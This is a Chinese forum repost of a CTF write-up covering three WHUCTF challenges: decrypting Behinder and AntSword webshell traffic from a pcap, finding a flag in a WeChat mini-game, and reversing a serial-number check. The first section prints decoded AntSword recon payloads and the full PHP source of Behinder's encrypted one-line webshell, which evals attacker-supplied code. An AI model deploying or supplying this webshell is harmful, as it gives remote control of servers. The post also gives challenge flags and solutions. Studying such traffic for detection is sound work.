安全矩阵

 找回密码
 立即注册
搜索
查看: 926|回复: 0

[网络安全] 四十二.WHUCTF (5)两道隐写和一道逆向基础题

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-6-8 15:24:47 | 显示全部楼层 |阅读模式
原文链接:[网络安全] 四十二.WHUCTF (5)两道隐写和一道逆向基础题(冰蝎流量解密、动静态逆向)

文章目录:

  • 一.Misc-shellOfAwd
    1.题目描述
    2.解题思路
  • 二.Misc-wechat_game
    1.题目描述
    2.解题思路
  • 三.RE1
    1.题目描述
    2.解题思路
  • 四.总结


作者的github资源:
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。网站目前可以访问,后续应该会关闭,初学者可以试试,但切勿破坏。

一.Misc-shellOfAwd
1.题目描述该题目提供的是一个pca文件,需要对其进行解密。

文件名称为“shellofAWD.pcapng”。

2.解题思路由于之前没做过类似的题目,该题只能参考各位师傅的WP,当然pca文件我用Wireshark其它方面熟悉过。
出题思路
该题的考点是冰蝎的加密流量分析,它模拟了与Webshell交互的过程,给了一个流量包并用Wireshark分析。其出题思路为:
  • 在虚拟机中开一个Web服务,将蚁剑的base64马拖进去,通过蚁剑的马上传一个冰蝎的马,执行 ln -s /flag jquery.min.js,这样 jquery.min.js 就指向了 flag,读它就得到最终的flag。

下面解题参考师傅们的文章:
  • WHUCTF官方WP
  • 2020_WHUCTF_Writeup - Ly-sec-l师傅
  • http://www.peiqi.tech/posts/6576/#shellOfAwd-木马流量分析 - peiqi师傅
  • http://www.ga1axy.top/index.php/archives/36/#shellofawd - ga1axy师傅
  • whuctf.md - prontosil师傅


第一步,Wireshark软件打开文件。
  • shellofAWD.pcapng


打开流量包,过滤http可以发现两条pass=xxx的流量,这是冰蝎流量的特征。

第二步,任选其中一条,追踪TCP流,在流中可以看到有两个返回的长度为16的字符串,这是冰蝎流量的解密密钥。

冰蝎流量的解密密钥:
  • 第一次请求密钥:6d3246615ba4446d
  • 第二次请求密钥:91ee1bfc4fd27c90



追踪一下TCP也看到了一个密钥协商的阶段,如下图所示,密钥协商(木马特征)的两个步骤如下。
  • (1) 攻击者通过 GET 或者 POST 方法,形如 http://127.0.0.1/ shell.aspx?pass=645 的请求服务器密钥。
  • (2) 服务器使用随机数 MD5 的高16位作为密钥,存储到会话的 $_SESSION 变量中,并返回密钥给攻击者。



我们在翻看TCP流的时候可以看到在第五流之前都是蚁剑的base64加密流量,从5开始为冰蝎的加密流量(上图右下角流为5),且密钥为91ee1bfc4fd27c90。
第三步,通过在线网站行流量解密,解密流程是 AES解密–>base64解密—>原始数据。
我们需要知道的是冰蝎通常采用AES加密,可以参考:
  • 冰蝎动态二进制加密WebShell基于流量侧检测方案
  • 红蓝对抗——加密Webshell“冰蝎”攻防


选中一段流量进行AES在线解密。
  • http://tools.bugscaner.com/cryptoaes/



输出结果为解密后的信息,如下图所示:

得到base64加密的字符串,再次解密,可以看到这段解密结果为文件名称。
  • http://tool.chinaz.com/Tools/Base64.aspx



同样,我们可以尝试Python解密流量。下面请求表示:ant参数会执行 _0x6aa401ad3c537 变量内容,该参数此处执行了查看文件路径以及系统信息的命令。
>>> import base64>>> s='ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtfMHg2YWE0MDFhZDNjNTM3XSkpO2RpZSgpOw=='>>> base64.b64decode(s)'eval(base64_decode($_POST[_0x6aa401ad3c537]));die();'>>> t='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiMmUwZWJlYTU1OTIiO2VjaG8gQGFzZW5jKCRvdXRwdXQpO2VjaG8gIjYyZTgwMGEwIjt9b2Jfc3RhcnQoKTt0cnl7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JFI9InskRH0JIjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJDIiwiWiIpYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO31lbHNleyRSLj0iLyI7fSRSLj0iCSI7JHU9KGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0ZWdpZCIpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6IiI7JHM9KCR1KT8kdVsibmFtZSJdOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iCXskc30iO2VjaG8gJFI7O31jYXRjaChFeGNlcHRpb24gJGUpe2VjaG8gIkVSUk9SOi8vIi4kZS0%2BZ2V0TWVzc2FnZSgpO307YXNvdXRwdXQoKTtkaWUoKTs='>>> base64.b64decode(t)'@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "2e0ebea5592";echo @asenc($output);echo "62e800a0";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["ATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="\t";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]get_current_user();$R.=php_uname();$R.="\t{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e-6\x05\x9d\x95\xd15\x95\xcd\xcd\x85\x9d\x94\xa0\xa4\xed\xf4\xed\x85\xcd\xbd\xd5\xd1\xc1\xd5\xd0\xa0\xa4\xed\x91\xa5\x94\xa0\xa4\xec'
第四步,最终依次解密流量,获得最终flag值。
5U+SIO3pbt0CXFm7gLAx3xT7q0qDPFaCK8lNevS6Nrmak6Hhj9PXx3ZlGnMIgkqnqHmf6ba5VvtRMgJP6wUtoMXx5WeYJvobewjKDmZ8sSUCZJhKzzkX2ISKKy/snPv+6UOh5rBo6j/JvFGUOUjkKCbCe+nEGD9EKyv10Uu9KHU=

解密过程如下:


  1. <?php
  2. //$flag = "whuctf{cd768eac-0746-4979-a40d-5b6a269c4dde}"
  3. ?>
复制代码


同时,作者补充冰蝎的一句话木马,其实也可以从流量中解密出来。后面作者会详细讲解一篇它的用法及原理,也推荐大家仔细阅读先知社区的那篇文章:
  • 红蓝对抗——加密Webshell“冰蝎”攻防

  1. 文章目录:

  2.     一.Misc-shellOfAwd

  3.     1.题目描述

  4.     2.解题思路

  5.     二.Misc-wechat_game

  6.     1.题目描述

  7.     2.解题思路

  8.     三.RE1

  9.     1.题目描述

  10.     2.解题思路

  11.     四.总结


  12. 作者的github资源:

  13.     逆向分析:https://github.com/eastmountyxz/

  14.     SystemSecurity-ReverseAnalysis

  15.     网络安全:https://github.com/eastmountyxz/

  16.     NetworkSecuritySelf-study


  17.     声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。网站目前可以访问,后续应该会关闭,初学者可以试试,但切勿破坏。

  18. 一.Misc-shellOfAwd
  19. 1.题目描述

  20. 该题目提供的是一个pca文件,需要对其进行解密。

  21. 图片 [点击并拖拽以移动]

  22. 文件名称为“shellofAWD.pcapng”。

  23. 图片 [点击并拖拽以移动]
  24. 2.解题思路

  25. 由于之前没做过类似的题目,该题只能参考各位师傅的WP,当然pca文件我用Wireshark其它方面熟悉过。

  26. 出题思路
  27. 该题的考点是冰蝎的加密流量分析,它模拟了与Webshell交互的过程,给了一个流量包并用Wireshark分析。其出题思路为:

  28.     在虚拟机中开一个Web服务,将蚁剑的base64马拖进去,通过蚁剑的马上传一个冰蝎的马,执行 ln -s /flag jquery.min.js,这样 jquery.min.js 就指向了 flag,读它就得到最终的flag。

  29. 下面解题参考师傅们的文章:

  30.     WHUCTF官方WP

  31.     2020_WHUCTF_Writeup - Ly-sec-l师傅

  32.     http://www.peiqi.tech/posts/6576/#shellOfAwd-木马流量分析 - peiqi师傅

  33.     http://www.ga1axy.top/index.php/archives/36/#shellofawd - ga1axy师傅

  34.     whuctf.md - prontosil师傅


  35. 第一步,Wireshark软件打开文件。

  36.     shellofAWD.pcapng

  37. 图片 [点击并拖拽以移动]

  38. 打开流量包,过滤http可以发现两条pass=xxx的流量,这是冰蝎流量的特征。

  39. 图片 [点击并拖拽以移动]

  40. 第二步,任选其中一条,追踪TCP流,在流中可以看到有两个返回的长度为16的字符串,这是冰蝎流量的解密密钥。

  41. 图片 [点击并拖拽以移动]

  42. 冰蝎流量的解密密钥:

  43.     第一次请求密钥:6d3246615ba4446d

  44.     第二次请求密钥:91ee1bfc4fd27c90


  45. 图片 [点击并拖拽以移动]

  46. 追踪一下TCP也看到了一个密钥协商的阶段,如下图所示,密钥协商(木马特征)的两个步骤如下。

  47.     (1) 攻击者通过 GET 或者 POST 方法,形如 http://127.0.0.1/ shell.aspx?pass=645 的请求服务器密钥。

  48.     (2) 服务器使用随机数 MD5 的高16位作为密钥,存储到会话的 $_SESSION 变量中,并返回密钥给攻击者。


  49. 图片 [点击并拖拽以移动]

  50. 我们在翻看TCP流的时候可以看到在第五流之前都是蚁剑的base64加密流量,从5开始为冰蝎的加密流量(上图右下角流为5),且密钥为91ee1bfc4fd27c90。

  51. 第三步,通过在线网站行流量解密,解密流程是 AES解密–>base64解密—>原始数据。

  52. 我们需要知道的是冰蝎通常采用AES加密,可以参考:

  53.     冰蝎动态二进制加密WebShell基于流量侧检测方案

  54.     红蓝对抗——加密Webshell“冰蝎”攻防


  55. 选中一段流量进行AES在线解密。

  56.     http://tools.bugscaner.com/cryptoaes/


  57. 图片 [点击并拖拽以移动]

  58. 输出结果为解密后的信息,如下图所示:

  59. 图片 [点击并拖拽以移动]

  60. 得到base64加密的字符串,再次解密,可以看到这段解密结果为文件名称。

  61.     http://tool.chinaz.com/Tools/Base64.aspx


  62. 图片 [点击并拖拽以移动]

  63. 同样,我们可以尝试Python解密流量。下面请求表示:ant参数会执行 _0x6aa401ad3c537 变量内容,该参数此处执行了查看文件路径以及系统信息的命令。

  64. >>> import base64
  65. >>> s='ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtfMHg2YWE0MDFhZDNjNTM3XSkpO2RpZSgpOw=='
  66. >>> base64.b64decode(s)
  67. 'eval(base64_decode($_POST[_0x6aa401ad3c537]));die();'
  68. >>> t='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiMmUwZWJlYTU1OTIiO2VjaG8gQGFzZW5jKCRvdXRwdXQpO2VjaG8gIjYyZTgwMGEwIjt9b2Jfc3RhcnQoKTt0cnl7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JFI9InskRH0JIjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJDIiwiWiIpYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO31lbHNleyRSLj0iLyI7fSRSLj0iCSI7JHU9KGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0ZWdpZCIpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6IiI7JHM9KCR1KT8kdVsibmFtZSJdOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iCXskc30iO2VjaG8gJFI7O31jYXRjaChFeGNlcHRpb24gJGUpe2VjaG8gIkVSUk9SOi8vIi4kZS0%2BZ2V0TWVzc2FnZSgpO307YXNvdXRwdXQoKTtkaWUoKTs='
  69. >>> base64.b64decode(t)
  70. '@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "2e0ebea5592";echo @asenc($output);echo "62e800a0";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="\t";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="\t{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e-6\x05\x9d\x95\xd15\x95\xcd\xcd\x85\x9d\x94\xa0\xa4\xed\xf4\xed\x85\xcd\xbd\xd5\xd1\xc1\xd5\xd0\xa0\xa4\xed\x91\xa5\x94\xa0\xa4\xec'

  71. 第四步,最终依次解密流量,获得最终flag值。

  72.     5U+SIO3pbt0CXFm7gLAx3xT7q0qDPFaCK8lNevS6Nrmak6Hhj9PXx3ZlGnMIgkqnqHmf6ba5VvtRMgJP6wUtoMXx5WeYJvobewjKDmZ8sSUCZJhKzzkX2ISKKy/snPv+6UOh5rBo6j/JvFGUOUjkKCbCe+nEGD9EKyv10Uu9KHU=

  73. 图片 [点击并拖拽以移动]

  74. 解密过程如下:

  75. 图片 [点击并拖拽以移动]

  76. 图片 [点击并拖拽以移动]

  77. <?php
  78. //$flag = "whuctf{cd768eac-0746-4979-a40d-5b6a269c4dde}"
  79. ?>

  80. [点击并拖拽以移动]

  81. 同时,作者补充冰蝎的一句话木马,其实也可以从流量中解密出来。后面作者会详细讲解一篇它的用法及原理,也推荐大家仔细阅读先知社区的那篇文章:

  82.     红蓝对抗——加密Webshell“冰蝎”攻防

  83. <?php
  84. @error_reporting(0);
  85. session_start();
  86. if (isset($_GET['shell']))
  87. {
  88.     $key=substr(md5(uniqid(rand())),16);
  89.     $_SESSION['k']=$key;
  90.     print $key;
  91. }
  92. else
  93. {
  94.     $key=$_SESSION['k'];
  95.         $post=file_get_contents("php://input");
  96.         if(!extension_loaded('openssl'))
  97.         {
  98.                 $t="base64_"."decode";
  99.                 $post=$t($post."");
  100.                
  101.                 for($i=0;$i<strlen($post);$i++) {
  102.                              $post[$i] = $post[$i]^$key[$i+1&15];
  103.                             }
  104.         }
  105.         else
  106.         {
  107.                 $post=openssl_decrypt($post, "AES128", $key);
  108.         }
  109.     $arr=explode('|',$post);
  110.     $func=$arr[0];
  111.     $params=$arr[1];
  112.         class C{public function __construct($p) {eval($p."");}}
  113.         @new C($params);
  114. }
  115. ?>

复制代码

二.Misc-wechat_game
1.题目描述该题目提供的是一个minigame-1.7z文件,需要从中获取flag。

文件解压之后如下图所示:

看到游戏我们就可能比较蒙,但我们先审查文件看看有什么蹊跷没有。

2.解题思路第一步,我们在审核文件时,发现txt文件夹下的“game12345.txt”文件问题,它的时间和其他的不太一样喔!

也就是说作者编译程序之后才加的flag,注意时间是什么时候,比赛快开始的时候,那flag肯定在里面。打开该文件显示如下图所示:

第二步,分析“game12345.txt”文件发现汉字是逆序的,那么是否能直接搜索flag呢?

顺序格式:whuctf{}
逆序格式:}{ftcuhw
搜索ftcuhw显示结果如下,flag值为:whuctf{wechat_g4m1}。

但其实这是出题人失误了。另一种解题方法是这样的:
  • 使用微信开发者程序中打开该工程。模拟运行后,程序入口为main.js。接着分析main.js,找到了分数变化的函数。


子弹击中后会将分数加1。根据题目提示,改为每次加10000,再次编译运行,结束后得到flag。

最后补充武大CTF师傅的WP代码和参考文献,推荐大家学习。
  • 武汉大学CTF - PeiQi师傅
  • 2020_WHUCTF_Writeup - Ly-sec-l师傅
  • WHUCTF官方WP


三.RE11.题目描述接下来是逆向分析的题目,给出的是WHURE1.exe程序。

运行结果如下图所示:


2.解题思路逆向分析推荐大家动静态结合分析,这里我采用OD(动态)和IDA(静态)结合。
第一步,通过OD打开EXE程序显示如下所示。

第二步,在反汇编窗口右键鼠标,选择“查找”->“所有参考文本字串”。

我们看到了目标“gj, the flag is WHUCTF{%s}”。

第三步,选中该行内容,右键选择“反汇编窗口中跟随”。

接着定位到如下图所示位置,其中CALL WHURE1.003A1020为调用函数(003A1171),我们可以按下F2设置断点进行动态调式。

也可以将003A1176位置设置为新的EIP。

然后按下F7单步进入调试,下图展示了OD调试的过程。

第四步,用IDA打开EXE程序。

按下F5可以查看源代码。

第五步,找到“WHUCTF”字符串的位置,然后查看对应的源代码,即sub_401090()函数,接下来分析该源代码推断输出flag的情况。

对应的源代码为sub_401090()函数,如下图所示。

源代码为:
  1. int sub_401090()
  2. {
  3.   char v0; // ST1C_1
  4.   char v1; // ST18_1
  5.   char v2; // ST14_1
  6.   char v3; // ST10_1
  7.   char v4; // ST0C_1
  8.   unsigned int v5; // ecx
  9.   char v6; // dl
  10.   signed int v7; // edx
  11.   __int64 *v8; // ecx
  12.   __int64 v10; // [esp+0h] [ebp-30h]
  13.   __int64 v11; // [esp+8h] [ebp-28h]
  14.   __int64 v12; // [esp+10h] [ebp-20h]
  15.   int v13; // [esp+18h] [ebp-18h]
  16.   int v14; // [esp+1Ch] [ebp-14h]
  17.   int v15; // [esp+20h] [ebp-10h]
  18.   __int64 v16; // [esp+24h] [ebp-Ch]

  19.   v13 = 0;
  20.   v10 = 0i64;
  21.   v11 = 0i64;
  22.   v12 = 0i64;
  23.   v14 = 9;
  24.   v15 = 2;
  25.   v16 = 0i64;
  26.   ((void (__cdecl *)(const char *, char))sub_401020)(
  27.     "                                                                                 __ \n",
  28.     0);
  29.   ((void (__cdecl *)(const char *, char))sub_401020)(
  30.     " _ _ _     _                      _          _ _ _ _____ _____ _____ _____ _____|  |\n",
  31.     v0);
  32.   ((void (__cdecl *)(const char *, char))sub_401020)(
  33.     "| | | |___| |___ ___ _____ ___   | |_ ___   | | | |  |  |  |  |     |_   _|   __|  |\n",
  34.     v1);
  35.   ((void (__cdecl *)(const char *, char))sub_401020)(
  36.     "| | | | -_| |  _| . |     | -_|  |  _| . |  | | | |     |  |  |   --| | | |   __|__|\n",
  37.     v2);
  38.   ((void (__cdecl *)(const char *, char))sub_401020)(
  39.     "|_____|___|_|___|___|_|_|_|___|  |_| |___|  |_____|__|__|_____|_____| |_| |__|  |__|\n",
  40.     v3);
  41.   ((void (__cdecl *)(const char *, char))sub_401020)("plz input your serial number\n", v4);
  42.   sub_401050("%7s", (unsigned int)&v16);
  43.   v5 = 0;
  44.   do
  45.   {
  46.     v6 = *((_BYTE *)&v16 + v5);
  47.     if ( (unsigned __int8)(v6 - 48) > 9u )
  48.     {
  49.       sub_401020("error input !\n");
  50.       exit(0);
  51.     }
  52.     *((_DWORD *)&v10 + v5++) = v6 - 48;
  53.   }
  54.   while ( v5 < 7 );
  55.   if ( (_DWORD)v12 != 5 )
  56.   {
  57. LABEL_10:
  58.     sub_401020("wrong,check your input\n");
  59.     exit(0);
  60.   }
  61.   v7 = 0;
  62.   v8 = &v11;
  63.   do
  64.   {
  65.     if ( *(_DWORD *)v8 + *((_DWORD *)v8 - 1) + *((_DWORD *)v8 - 2) != 15
  66.       || *(&v13 + v7) + *((_DWORD *)&v11 + v7 + 1) + *((_DWORD *)&v10 + v7) != 15 )
  67.     {
  68.       goto LABEL_10;
  69.     }
  70.     ++v7;
  71.     v8 = (__int64 *)((char *)v8 + 12);
  72.   }
  73.   while ( v7 < 3 );
  74.   sub_401020("gj, the flag is WHUCTF{%s}\n", (unsigned int)&v16);
  75.   return 0;
  76. }
复制代码


第六步,分析源代码。
(1) 输入为一个7字节的字符串。

(2) 输入大于48(数字0)。

(3) 第5个数字要为5。

(4) 进行三轮判断。
  1. d3 + d2 + d1 =15
  2. d7 + d4 + d1 =15

  3. d6 + d5 + d4 =15
  4. d8 + d5 + d2 =15

  5. d9 + d8 + d7 =15
  6. d9 + d6 + d3 =15
复制代码



撰写的Python脚本如下所示,其中di表示第i个字节,动态调试发现d8=9 d9=2 。所以可以进行枚举,代码如下。
  1. for d1 in range(5,10):
  2.     d2=1
  3.     d3=14-d1
  4.     d4=11-d1
  5.     d5=5
  6.     d6=d1-1
  7.     d7=4
  8.     print(d1,d2,d3,d4,d5,d6,d7)
复制代码


输出结果如下图所示,但题目提示“无重复数字”,故结果为“8163574”。

总结:3*3数独,满足行列和等于15,以及无重复数字即可。动态调试可以较快的分析清对输入变量的约束条件。

参考及推荐文章:
  • WHUCTF官方WP
  • 2020_WHUCTF_Writeup - Ly-sec-l师傅


四.总结写到这里,这篇文章就介绍完毕,希望对您有所帮助。学安全近一年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。







回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 04:38 , Processed in 0.016014 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表